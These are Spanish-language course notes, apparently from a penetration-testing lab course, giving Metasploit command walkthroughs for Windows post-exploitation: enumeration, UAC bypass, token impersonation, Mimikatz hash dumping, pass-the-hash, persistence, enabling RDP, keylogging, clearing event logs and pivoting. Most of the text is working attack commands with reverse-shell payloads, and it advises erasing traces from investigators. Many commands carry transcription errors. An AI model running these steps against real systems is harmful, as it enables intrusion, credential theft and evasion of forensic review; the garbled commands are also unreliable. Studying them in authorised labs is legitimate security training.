El MSF nos proporciona varios módulos de post explotación tanto para Windows como para Linux.
Podemos utilizar estos módulos de post explotación para enumerar información sobre el sistema Windows al que tenemos acceso actualmente:
Enumerate user privileges
Enumerate logged on users
VM check
Enumerate installed programs
Enumerate AVs
Enumerate computers connected to domain
Enumerate installed patches
Enumerate shares
Demo: Windows Post Exploitation Modules
msf5 > workspace -a windows_post
msf5 > setg RHOSTS 10.2.23.169
msf5 > db_nmap -sv 10.2.23.169
msf5 > search rejetto
msf5 > use exploit/windows/http/rejetto_hfs_exec
msf5 exploit(windows/http/rejetto_hfs_exec) > show options
msf5 exploit(windows/http/rejetto_hfs_exec) > run
meterpreter > sysinfo
meterpreter > getuid
Server username: WIN-OMCNBKR66MN\Administrator
# Para obtener ayuda
meterpreter > -h
Comando Post Exploitation
#Intentara elevar los privilegios
meterpreter > getsystem
meterpreter > getuid
# Volcado de la base de datos de SAM
meterpreter > hashdump
# Ver unidades conectadas al equipo (extraibles/internas)
meterpreter > show_mount
# Migrar a procesos
meterpreter > pa
meterpreter > migrate <id process>
meterpreter > cd C: \\
meterpreter > dir
Listing: C: \
meterpreter > cat flag.txt
meterpreter > pwd
meterpreter > download flag.txt
# Migrar a una arquitectura diferente / similar a migrate process
msf5 exploit(windows/http/rejetto_hfs_exec) > search upgrade platform:windows
msf5 exploit(windows/httplrejetto_hfs_exec) > search migrate
msff5 exploit(windows/http/rejetto_hfs_exec) > use post/windows/manage/migrate
msff5 post(windows/manage/migrate) > show options
post (windows/manage/migrate) > set SESSION 1
post (windowslmanage/migrate) > run
# Enumeracion privelegiada de usuario
msf5 post(windowslmanage/migrate) > search win_privs
msf5 post(windowslmanagelmigrate) > use post/windows/gather/win_privs
msf5 post(windows/gather/win_privs) > show options
msf5 post(windows/gather/win_privs) > set SESSION 1
msf5 post(windows/gather/win_privs) > run
# Enumeracion de usuarios logueados
msf5 post(windows/gather/win_privs) > search enum_logged_on
msf5 post(windows/gather/win_privs) > use post/windows/gather/enum_logged_on_users
msf5 post(windowslgather/enum_logged_on_users) > show options
msf5 post(windowslgather/enum_logged_on_users) > set SESSION 1
msf5 post(windowslgather/enum_logged_on_users) > run
# Verificar si es una maquina virtual
msf5 post(windowslgather/enum logged_on_users) > search checkvm
msf5 post(windows/gather/enum_logged_on_users) > use post/windows/gather/checkvm
msf5 post(windows/gather/checkvm) > show options
msf5 post(windows/gather/checkvm) > set SESSION 1
msf5 post(windows/gather/checkvm) > run
# Si es una VM se puede usar modulos para salir de la VM y llegar al SO
# Enumeracion de aplicaciones instaladas
msf5 post(windows/gather/checkvm) > search enum_applications
msf5 post(windows/gather/checkvm) > use post/windows/gather/enum applications
msf5 post(windows/gatherlenum applications) > show options
msf5 post(windows/gather/enum_applications) > set SESSION 1
msf5 post(windows/gather/enum applications) > run
# Todo el historial de enumeracion post explotacion (usuarios activos, aplicaciones,etc)
msf5 post(windows/gather/enum_apptications) > loot
msf5 post(windows/gather/enum_applications) > search type:post platform:windows enum_av
msf5 post(windows/gather/enum_applications) > use post/windows/gather/epum_av_excluded
msf5 post(windows/gather/enum_av_excluded) > show options
msf5 post(windows/gather/enum_av_excluded) > set SESSION 1
msf5 post(windows/gather/enum_av_excluded) > run
# Enumeracion de computers (si esta en dominio o no)
msf5 post(windows/gather/enum_av_excluded) > search enum computer
msf5 post(windows/gather/enum_av_excluded) > use post/windows/gather/enum_computers
msf5 post(windows/gather/enum_computers) > show options
msf5 post(windows/gather/enum_computers) > set SESSION 1
msf5 post(windows/gather/enum_computers) > run
# Emeumeracion de parches
msf5 post(windows/gather/enum_computers) > search enum_patches
msf5 post(windows/gather/enum_computers) > use post/windows/gather/enum_patches
msf5 post(windows/gather/enum_patches) > show options
msf5 post(windows/gather/enum_patches) > set SESSION 1
msf5 post(windows/gather/enum_patches) > run
# En caso de que de error intente migrar de proceso o ingrese a la session i ejecute "systeminfo" para ver los parches instalados
# Enumeracion de recursos compartidos
msf5 post(windows/gather/enum_patches) > search enum_shares
msf5 post(windows/gather/enum_patches) > use post/windows/gather/enum shares
msf5 post(windows/gather/enum_shares) > show options
msf5 post(windows/gather/enum_shares) > set SESSION 1
msf5 post(windows/gather/enum_shares) > run
# Enumerar la accesibilidad a RDP
msf5 post(windows/gather/enum_shares) > search rdp platform:windows
msf5 post(windows/gather/enum_shares) > use post/windows/manage/enable_rdp
msf5 post(windows/manage/enabte_rdp) > show options
msf5 post(windows/manage/enabte_rdp) > set SESSION 1
msf5 post(windows/manage/enabte_rdp) > run
Quiz: Windows Post Exploitation Modules
Windows Privilege Escalation: Bypassing UAC
Bypassing UAC
El Control de cuentas de usuario (UAC) es una característica de seguridad de Windows introducida en Windows Vista que se utiliza para evitar que se realicen cambios no autorizados en el sistema operativo.
El UAC se utiliza para garantizar que los cambios en el sistema operativo requieran la aprobación del administrador.
Podemos utilizar el módulo "Windows Escalate UAC Protection Bypass (In Memory Injection)" para omitir el UAC utilizando el certificado de editor de confianza a través de la inyección de procesos. Generará un segundo shell que tiene la bandera UAC desactivada.
Es neceserio tener una sesion interrete o shell de 64bits en lugar de la version de 32.
Demo: Windows Privilege Escalation: Bypassing UAC
msf6 > workspace -a UACBypass
msf6 > setg RHOSTS 10.2.29.131
msf6 > db_nmap -sV 10.2.29.1311
msf6 > search rejetto
msf6 > use exploit/windows/http/rejetto_hfs_exec
msf6 exploit(windows/http/rejetto_hfs_exec) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/rejetto_hfs_exec) > show options
msf6 exploit(windows/http/rejetto_hfs_exec) > run
meterpreter > sysinfo
meterpreter > getsystem
# Puede fallar el escalamiento de privilegios
meterpreter > getprivs
meterpreter > shell
C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup>net users
# Enumerar usuarios que pertenecen al grupo de administrators
C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup>net localgroup administrators
# Injeccion de UAC para escalar privilegios
msf6 exploit(windows/http/rejetto_hfs_exec) > search bypassuac
msf6 exploit(windows/http/rejetto_hfs_exec) > use exploit/windows/local/bypassuac_injection
msf6 exploit(windows/local/bypassuac_injection) > set payload windows/x64/meterpreter/reverse_rxp
msf6 exploit(windows/local/bypassuac_injection) > set SESSION 1
msf6 exploit(windows/local/bypassuac_injection) > sessions
msf6 exploit(windows/local/bypassuac_injection) > set LPORT 4433
msf6 exploit(windows/local/bypassuac_injection) > run
msf6 exploit(windows/local/bypassuac_injection) > set TARGET
msf6 exploit(windows/local/bypassuac_injection) > run
meterpreter > getuid
# Escalacion de privilegios sin ningun problema
meterpreter > getsystem
meterpreter > getuid
# Ver las contraseñas
meterpreter > hashdump
Quiz: Windows Privilege Escalation: Bypassing UAC
Windows Privilege Escalation: Token Impersonation With Incognito
Windows Access Tokens
Los tokens de acceso de Windows son un elemento central del proceso de autenticación en Windows y son creados y administrados por el Servicio de subsistema de autoridad de seguridad local (LSASS).
Un token de acceso de Windows es responsable de identificar y describir el contexto de seguridad de un proceso o subproceso que se ejecuta en un sistema. En pocas palabras, un token de acceso puede considerarse como una clave temporal similar a una cookie web que proporciona a los usuarios acceso a un sistema o recurso de red sin tener que proporcionar credenciales cada vez que se inicia un proceso o se accede a un recurso del sistema.
Los tokens de acceso son generados por el proceso winlogon.exe cada vez que un usuario se autentica correctamente e incluyen la identidad y los privilegios de la cuenta de usuario asociada con el subproceso o proceso. Luego, este token se adjunta al proceso userinit.exe, después de lo cual todos los procesos secundarios iniciados por un usuario heredarán una copia del token de acceso de su creador y se ejecutarán con los privilegios del mismo token de acceso.
Token Classification
Los tokens de acceso de Windows se clasifican en función de los distintos niveles de seguridad que se les asignan. Estos niveles de seguridad se utilizan para determinar los privilegios que se asignan a un token específico.
Normalmente, a un token de acceso se le asignará uno de los siguientes niveles de seguridad:
Los tokens de nivel de suplantación (Impersonate-level) se crean como resultado directo de un inicio de sesión no interactivo en Windows, normalmente a través de servicios de sistema específicos o inicios de sesión de dominio.
Los tokens de nivel de delegado (Delegate-level) se crean normalmente a través de un inicio de sesión interactivo en Windows, principalmente a través de un inicio de sesión tradicional o mediante protocolos de acceso remoto como RDP.
Los tokens de nivel de suplantación se pueden utilizar para suplantar un token en el sistema local y no en ningún sistema externo que utilice el token. Los tokens de nivel de delegado plantean la mayor amenaza, ya que se pueden utilizar para suplantar tokens en cualquier sistema.
Windows Privileges
El proceso de suplantación de tokens de acceso para elevar los privilegios en un sistema dependerá principalmente de los privilegios asignados a la cuenta que se ha explotado para obtener acceso inicial, así como de los tokens de suplantación o delegación disponibles.
Los siguientes son los privilegios que se requieren para un ataque de suplantación exitoso:
SeAssignPrimaryToken: Esto permite que un usuario suplante tokens.
SeCreateToken: Esto permite que un usuario cree un token arbitrario con privilegios administrativos.
SelmpersonatePrivilege: Esto permite que un usuario cree un proceso bajo el contexto de seguridad de otro usuario, generalmente con privilegios administrativos.
The Incognito Module
Incognito es un módulo (built-in) incorporado de meterpreter que originalmente era una aplicación independiente que permite suplantar tokens de usuario después de una explotación exitosa.
Podemos usar el módulo incognito para mostrar una lista de tokens disponibles que podemos suplantar.
Demo: Windows Privilege Escalation: Token Impersonation With Incognito
msf6 > workspace -a Impersonate
msf6 > workspace
msf6 > setg RHOSTS 10.2. 16.112
msf6 > db_nmap -sV 10.2. 16.112
msf6 > search rejetto
msf6 > use exploit/windows/http/rejetto_hfs_exec
msf6 exploit(windows/http/rejetto_hfs_exec) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/rejetto_hfs_exec) > exploit
meterpreter > sysinfo
meterpreter > getuid
Server username: NT AUTHORITY\LOCAL SERVICE
# NT AUTHORITY: Nos indica que tenemos los mas altos privilegios
# LOCAL SERVICE: Nuestros privilegios estan basados en los privilegios de ese servicio
# Asegurarse de que el usuario tiene privilegios SeImpersonatePrivilege
meterpreter > getprivs
Enabled Process Privileges
=========================
Name
----
SeAssignPrima ryTokenPrivilege
SeAuditPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SelmpersonatePrivilege
SelncreaseQuotaPrivilege
SelncreaseWorkingSetPrivilege
SeSystemtimePrivilege
SeTimeZonePrivilege
# Puede ver si tiene tiene algun token clasificado
# Corroborar que no tiene accesos de administrator ingresando al home del mismo o
# realizando bolcado de hash
# Cargar el modo incongnito
meterpreter > load incognito
Loading extension incognito...Success.
# Ahora podemos utilizar el modulo para enumerar
meterpreter > list tokens -u
# Ejemplo de Delegation Token, pero nos aremos pasar con un token de impersonare token
meterpreter > impersonate token "ATTACKDEFENSE\AdministratorII
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user ATTACKDEFENSE\Administrator
meterpreter > getuid
Server ATTACKDEFENSE\Administrator
# El error es debido a que nuestro proceso sigue con la cuenta de servicio
meterpreter > hashdump
priv passwd get sam hashes: Operati n failed: Access is denied.
# Debemos de migrar de proceso
meterpreter > ps
meterpreter > migrate 3544
meterpreter > hashdump
Quiz: Windows Privilege Escalation:Token Impersonation With Incognito
Dumping Hashes With Mimikatz
Mimikatz
Mimikatz es una herramienta de post-explotación de Windows escrita por Benjamin Delpy (@gentilkiwi). Permite la extracción de credenciales de texto simple de la memoria, hashes de contraseñas de bases de datos SAM locales y más.
La base de datos SAM (Security Account Manager) es un archivo de base de datos en sistemas Windows que almacena las contraseñas de los usuarios y se puede utilizar para autenticar a los usuarios tanto de forma local como remota.
Podemos utilizar el ejecutable mimikatz preconstruido, o bien, si tenemos acceso a una sesión de meterpreter en un objetivo de Windows, podemos utilizar la extensión de meterpreter incorporada Kiwi.
Kiwi nos permite ejecutar dinámicamente Mimikatz en el sistema de destino sin tocar el disco.
Demo: Dumping Hashes With Mimikatz
Attacker Machine
# 1
msf6 > workspace -a Mimikatz
Added workspace: Mimi katz
Workspace: Mimikatz
msf6 > setg RHOSTS 10.2.16.222
RHOSTS 10.2.16.222
msf6 > db_nmap -sV 10.2. 16.222
msf6 > search badblue 2.7
msf6 > use exploit/windows/http/badblue_passthru
msf6 exploit(windows/http/badblue_passthru) > show options
msf6 exploit(windows/http/badblue_passthru) > set target BadBlue\ EE\ 2.7\ Universal
msf6 exploit(windows/http/badblue_passthru) > exploit
msf6 exploit(windows/http/badblue_passthru) >
meterpreter > sysinfo
meterpreter > ps
meterpreter > getuid
meterpreter > pgrep lsass
# Se debera de migrar en caso de que el meterprete sea de 32bots
meterpreter > migrate 792
meterpreter > load kiwi
meterpreter > help
# Ayuda para la documentacion
# Podemos ejecutar el comando para recuperar todas las credenciales
meterpreter > creds_all
# Obtenemos las credenciales de hash NTLM
meterpreter > lsa_dump_sam
# Obtener los screts
meterpreter > lsa_dump_secrets
# Transferencia de forma manual (para x64 y x32)
meterpreter > upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
meterpreter > shell
meterpreter > mimikatz.exe
# Asegurarnos de que tenemos los privilegios
mimikatz # privilege: :debug
Privilege '20' OK
# Volcado de contraseñas
mimikatz # sekurlsa: : logonpasswords
# Volcado de la base de datos SAM
mimikatz # lsadump::sam
Quiz: Dumping Hashes With Mimikatz
Pass-the-Hash With PSExec
Pass-The-Hash
Pass-the-hash es una técnica de explotación que implica capturar o recolectar hashes NTLM o contraseñas de texto sin formato y utilizarlos para autenticarse legítimamente con el objetivo.
Podemos usar el módulo PsExec para autenticarnos legítimamente con el sistema de destino a través de SMB.
Esta técnica nos permitirá obtener acceso al sistema de destino a través de credenciales legítimas en lugar de obtener acceso a través de la explotación del servicio.
Demo: Pass-The-Hash With PsExec
msf6 > workspace -a PsExec
Added workspace: PsExec
Workspace: PsExec
msf6 > setg RHOSTS 10.2.29.165
RHOSTS 10.2.29.165
# Buscamos el exploit vulnerable
msf6 > search badblue
msf6 > use exploit/windows/http/badbtue_passthru
No payload configured, defaulting to windows/meterpreter/reverse tcp
# Configuramos
msf6 exploit(windows/http/badbtue_passthru) > show options
msf6 exploit(windows/http/badbtue_passthru) > set target BadBlue\ EE\ 2.7 \ Universal
msf6 exploit(windows/http/badbtue_passthru) > exploit
# Despues de establecer el shell de conexion
meterpreter > getuid
meterpreter > sysinfo
meterpreter > pgrep lsass
meterpreter > migrate 788
meterpreter > hashdump
# Guardamos los hash que se generaron en un archivo
# Buscamos PSexecy configuramos
msf6 exploit (windows/http/badbtue_passthru) > search psexec
msf6 exploit (windows/http/badbtue_passthru) > use exploit/windows/smb/psexec
msf6 exploit (windows/smb/psexec) > set payload windows/x64/meterprpter/reverse_tcp
msf6 exploit (windows/smb/psexec) > show options
# Procederemos a copiar el Hash (solo copiar el numero del centro)
# Escribir la sintaxis del usuario de forma correcta
1
msf6 exploit (windows/smb/psexec) > set SMBUser Administrator
msf6 exploit (windows/smb/sexec) > set SMBPass <hash NTLM>
msf6 exploit (windows/smb/sexec) > exploit\
2
# Puede que necesite establecer otro puerto de escucha
msf6 exploit (windows/smb/psexec) > set SMBUser student
msf6 exploit (windows/smb/sexec) > set SMBPass <hash NTLM>
msf6 exploit (windows/smb/sexec) > set LPORT 4433
msf6 exploit (windows/smb/sexec) > exploit
Quiz: Pass-the-Hash With PSExec
Establishing Persistence On Windows
La persistencia consiste en técnicas que utilizan los adversarios para mantener el acceso a los sistemas tras reinicios, cambios de credenciales y otras interrupciones que podrían cortarles el acceso.
Obtener un punto de apoyo inicial no es suficiente, es necesario configurar y mantener un acceso persistente a los objetivos.
Podemos utilizar varios módulos de persistencia posteriores a la explotación para garantizar que siempre tengamos acceso al sistema objetivo.
Demo: Establishing Persistence On Windows
msf6 > workspace -a Persistence
msf6 > setg RHOSTS 10.2. 19.11
msf6 > db_nmap -sV 10.2. 19.11
msf6 > search rejetto
msf6 > use exploit/windows/http/rejetto_hfs_exec
msf6 exploit(windows/http/rejetto_hfs_exec) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/rejetto_hfs_exec) > show options
msf6 exploit(windows/http/rejetto_hfs_exec) > set LHOST eth1
msf6 exploit(windows/http/rejetto_hfs_exec) > exploit
meterpreter > sysinfo
meterpreter > getuid
msf6 exploit(windows/http/rejetto_hfs_exec) > search platform:windows persistence
msf6 exploit(windows/http/rejetto_hfs_exec) > use exploit/windows/local/persistence_service
# En caso de que sea de x64, Sino debe de usar el otro de x32
msf6 exploit(windows/local/persistenc_service) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/persistenc_service) > show options
msf6 exploit(windows/local/persistenc_service) > set SESSION 1
msf6 exploit(windows/local/persistenc_service) > exploit
# Comprobar la persistencia
msf6 exploit(windows/local/persistenc_service) > sessions -K
# Proceso de establecer y conectarse al payload que se dejo de forma automatica
msf6 exploit(windows/local/persistenc_service) > use multi/handler
msf6 exploit(mutti/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options
msf6 exploit (multi/handler) > set LHOST ethl
msf6 exploit(muttilhandter) > run
Quiz: Establishing Persistence On Windows
Enabling RDP
El Protocolo de escritorio remoto (RDP) es un protocolo de acceso remoto GUI patentado desarrollado por Microsoft y se utiliza para conectarse e interactuar de forma remota con un sistema Windows.
El RDP utiliza el puerto TCP 3389 de forma predeterminada.
El RDP está deshabilitado de forma predeterminada, sin embargo, podemos utilizar un módulo de explotación de MSF para habilitar el RDP en el objetivo de Windows y, en consecuencia, utilizar el RDP para acceder de forma remota al sistema de destino.
La autenticación RDP requiere una cuenta de usuario legítima en el sistema de destino, así como la contraseña del usuario en texto sin formato.
Demo: Enabling RDP
msf5 > workspace -a RDP
Added workspace: RDP
Workspace: RDP
msf5 > setg RHOSTS 10.2.19.254
RHOSTS 10.2.19.254
msf5 > db_nmap -sV 10.2.19.254
msf5 > use exploit/windows/http/badblue_passthru
msf5 exploit(windows/http/badblue_passthru) > show options
msf5 exploit(windows/http/badblue_passthru) > set target BadBlue\ EE\ 2.7 \ Universal
msf5 exploit(windows/http/badblue_passthru) > exploit
meterpreter > getuid
meterpreter > sysinfo
# En caso de que sea de x64 se debe de actualizar el payload
msf5 exploit(windows/http/badblue_passthru) > search enable_rdp
msf5 exploit(windows/http/badblue_passthru) > use post/windows/manage/enable_rdp
msf5 post(windows/manage/enabte_rdp) > show options
msf5 post(windows/manage/enabte_rdp) > set SESSION 1
msf5 post(windows/manage/enabte_rdp) > exploit
# Verificar si se encuentra habilitado
db_nmap -p 3389 10.2.19.254
# Test conexion
root@attackdefense:—# xfreerdp /u:administrator /p:hacker 123321 /v: 10.2.19.2541
Quiz: Enabling RDP
Windows Keylogging
Keylogging
El keylogging es el proceso de registrar o capturar las pulsaciones de teclas introducidas en un sistema de destino.
Esta técnica no se limita a la explotación posterior, existen muchos programas y dispositivos USB que se pueden utilizar para capturar y transmitir las pulsaciones de teclas introducidas en un sistema.
Meterpreter en un sistema Windows nos brinda la capacidad de capturar las pulsaciones de teclas introducidas en un sistema de destino y descargarlas de nuevo a nuestro sistema local.
Demo: Windows Keylogging
msf5 > workspace -a Keylogging
msf5 > search badblue
msf5 > setg RHOSTS 10.2.23.135
msf5 > use exploit/windows/http/badblue_passthru
msf5 exploit(windows/http/badblue_passthru) > show options
msf5 exploit(windows/http/badblue_passthru) > set target BadBlue\ EE\ 2.7 \ Universal
msf5 exploit(windows/http/badblue_passthru) > exploit
meterpreter > sysinfo
meter preter > getuid
meterpreter > pgrep explorer
meterpreter > migrate 2311
meterpreter > help
# En la documentacion de meterpreter encontrara los comando de User interface commands
# Se utilizara los 3 comanods de Keyscan_, pero puede utilizar otras comandos
# que tiene la capacaidad de enviar
# Iniciamos la captura
meterpreter > keyscan_start
# Podemos para la captura
meterpreter > keyscan_dump
# Esposible que algun momento deje de funcionar, pero debe de apagarlo e
# iniciarlo nuevamene
meterpreter > keyscan stop
Quiz: Windows Keylogging
Clearing Windows Event Logs
Windows Event Logs
El sistema operativo Windows almacena y cataloga todas las acciones y eventos que se realizan en el sistema y los almacena en el registro de eventos de Windows.
Los registros de eventos se clasifican según el tipo de eventos que almacenan:
Registros de aplicaciones: almacenan eventos de aplicaciones y programas, como inicios, fallas, etc.
Registros del sistema: almacenan eventos del sistema, como inicios, reinicios, etc.
Registros de seguridad: almacenan eventos de seguridad, como cambios de contraseña, errores de autenticación, etc.
Se puede acceder a los registros de eventos a través del Visor de eventos de Windows.
Los registros de eventos son la primera parada para cualquier investigador forense después de detectar una vulnerabilidad. Por lo tanto, es muy importante borrar sus rastros después de que haya terminado su evaluación.
Demo: Clearing Windows Event Logs
msf5 > workspace -a Clearev
msf5 > setg RHOSTS 10.2.27.188
msf5 > search badblue
msf5 > use exploit/windows/http/badblue_passthru
msf5 exploit(windows/http/badblue_passthru) > show options
msf5 exploit(windows/http/badblue_passthru) > set target BadBlue\ EE\ 2.7 \ Universal
msf5 exploit(windows/http/badblue_passthru) > exploit
meterpreter > sysinfo
meterpreter > getuid
# Verificar que es administrador para poder borrar eventos de event viewer
meterpreter > shell
# Ejemplo de rastro
# Cambiar contraseña del Administrator/Se recomienda crear una nueva cuenta
C:\Program Files (x86)\BadBlue\EE>net user administrator Password 123321
# Si cambio de contraseña, el evento estara en Event Viewer
# Elminacion de rastro
meterpreter > clearev
Quiz: Clearing Windows Event Logs
Pivoting
El pivoting es una técnica de postexplotación que implica utilizar un host comprometido para atacar otros sistemas en la red interna privada del host comprometido.
Después de obtener acceso a un host, podemos utilizar el host comprometido para explotar otros hosts en la misma red interna a los que no podíamos acceder anteriormente.
Meterpreter nos brinda la capacidad de agregar una ruta de red a la subred de la red interna y, en consecuencia, escanear y explotar otros sistemas en la red.
Pivoting Visualized
Demo: Pivoting
Victim 1
msf6 > workspace -a pivoting
msf6 > db_nmap -sV <Target>
msf6 > search rejetto
msf6 > use exploit/windows/http/rejetto_hfs_exec
msf6 exploit(windows/http/rejetto_hfs_exec) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/http/rejetto_hfs_exec) > set RHOSTS <Target>
msf6 exploit(windows/http/rejetto_hfs_exec) > show options
msf6 exploit(windows/http/rejetto_hfs_exec) > exploit
meterpreter > sysinfo
# Pivoting
IPv4 Address 10.2.27.1
IPv4 Netmask 255.255.240.0
# Identificar la IP de la victima 1 y agregar una ruta en base a su mascara
meterpreter > run autoroute -s 10.2.27.0/20
# Etiquetar nuestra sesion
msf6 exploit(windows/http/rejetto_hfs_exec) > sessions -n victim-1 -i 1
# Fordwarning de puertos
# para mostrar el banner
msf6 exploit(windows/http/rejetto_hfs_exec) > sessions 1
meterpreter > portfwd add -1 1234 -p 80 -r <victim 2>
msf6 exploit(windows/http/rejetto_hfs_exec) > set LHOST eth1
Scan Victim 2
msf6 exploit(windows/http/rejetto_hfs_exec) > search portscan
msf6 exploit(windows/http/rejetto_hfs_exec) > use auxiliary/scanner/portscan/tcp
msf6 auxiliar(scanner/portscan/tcp) > set RHOSTS 10.2.27.187
msf6 auxiliar(scanner/portscan/tcp) > set PORTS 1-100
msf6 auxiliar(scanner/portscan/tcp) > exploit
# Notara que la ruta agregada solo funcionara con la consola de msconsole
# solo por ese medio tiene conectividad, por lo cual la ruta agregada en la victima
# solo aplica para ello
# Para ver el banner del servicio podemos hacer un fordwarning
# Ingresar al equipo de la victima
# Posterior al fordwarining en el equipo de la victima 1 podemos ejecutar nmap
msf6 auxiliar(scanner/portscan/tcp) > db_nmap -ss -sv -p 1234 localhost
msf6 auxiliar(scanner/portscan/tcp) > search badblue
msf6 auxiliar(scanner/portscan/tcp) > use exploit/windows/http/badblue_passthru
msf6 exploit(windows/http/badblue_passthru) > show options
msf6 exploit(windows/http/badblue_passthru) > set payload windows/meterpreter/bind_tcp
msf6 exploit(windows/http/badblue_passthru) > set RHOSTS <victim 2>
msf6 exploit(windows/http/badblue_passthru) > set LPORT <victim 2>
msf6 exploit(windows/http/badblue_passthru) > exploit
meterpreter > sysinfo
msf6 exploit(windows/http/badblue_passthru) > sessions
msf6 exploit(windows/http/rejetto_hfs_exec) > sessions -n victim-2 -i 2